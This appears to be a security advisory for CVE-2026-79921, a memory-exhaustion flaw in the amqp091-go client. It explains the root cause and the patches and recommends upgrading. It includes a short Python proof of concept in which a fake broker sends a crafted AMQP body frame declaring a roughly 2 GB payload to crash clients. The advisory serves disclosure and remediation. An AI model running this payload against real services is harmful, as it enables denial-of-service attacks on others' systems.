CVE-2026-79921: amqp091-go Broker-Controlled Memory Exhaustion via Oversized Frame
A malicious AMQP broker can trick the amqp091-go Go client into allocating gigabytes of memory by sending a content-body frame whose declared size exceeds the frame_max limit agreed during connection…

The problem
The amqp091-go client reads a 4-byte frame size field from the broker and immediately allocates a buffer of that size with no bounds check against the negotiated frame_max.
A compromised or attacker-controlled broker can send a content-body frame header advertising, say, 2 GB of payload after agreeing to a 128 KB frame_max during the TUNE handshake. The client trusts the broker-supplied size, calls make([]byte, N), and may OOM-crash.
No authentication bypass is needed; only broker-level access is required.
Proof of concept
A working proof-of-concept for CVE-2026-79921 in github.com/rabbitmq/amqp091-go, with the exact payload below.
# Malicious broker sends this raw AMQP content-body frame after TUNE negotiation
# (frame_max negotiated as 0x00020000 = 131072 bytes)
#
# AMQP frame layout:
# 1 byte - frame type (0x03 = body frame)
# 2 bytes - channel (0x00 0x01)
# 4 bytes - payload len (attacker-controlled, far above frame_max)
# N bytes - payload (can be empty or partial; client allocates N bytes upfront)
# 1 byte - frame-end (0xCE)
#
# Crafted frame: declares 0x7FFFFFFF (2 147 483 647) byte payload
# after a frame_max of 131072 was agreed in Connection.Tune-Ok
import socket, struct
def send_oversized_body_frame(sock, channel=1):
frame_type = 0x03 # body frame
payload_len = 0x7FFFFFFF # ~2 GB -- far above any real frame_max
header = struct.pack('>BHI', frame_type, channel, payload_len)
# Send header only; client allocates 2 GB before reading payload
sock.sendall(header)
# Attacker operates a fake AMQP broker:
# 1. Complete normal AMQP handshake (TUNE with frame_max=131072)
# 2. Send basic.deliver + content-header
# 3. Call send_oversized_body_frame() -> client make([]byte, 2147483647) -> OOMThe root cause (CWE-770) is in the frame reader loop inside reader.go. Before the patch, the code did buf := make([]byte, frameSize) immediately after reading the 4-byte size field, with no comparison against c.Config.FrameSize (the negotiated frame_max).
PR #369 adds an explicit check: if the declared frame size exceeds the negotiated frame_max the reader returns a connection-level error and closes the connection, so the allocation never happens. PR #353 additionally enforces the AMQP protocol minimum frame size (4096 bytes) during the TUNE handshake, preventing a broker from negotiating an abnormally small frame_max to confuse the client in the opposite direction.
Because the broker controls the size field entirely, no client-side input validation or authentication is relevant. Only access to the broker layer is required.
The fix
Upgrade to amqp091-go v1.13.0 or later. No workaround exists in older versions. If you cannot upgrade immediately, ensure your Go service only connects to brokers you fully trust and isolate broker network access so an attacker cannot interpose a fake broker.
Reported by suchitd (Suchit Deokar).
Related research
- high · 7.5CVE-2026-67446CVE-2026-67446: Mailpit Thumbnail Handler Uncontrolled Memory Allocation via Oversized Image Dimensions
- high · 7.5CVE-2026-64868CVE-2026-64868: new-api Unauthenticated Webhook DoS via Unbounded Body Read
- high · 7.5CVE-2026-54638CVE-2026-54638: gotd/td Pre-Auth Denial of Service via Unbounded Memory Allocation
- highetcd tlsListener Unbounded TLS Handshake Goroutine DoS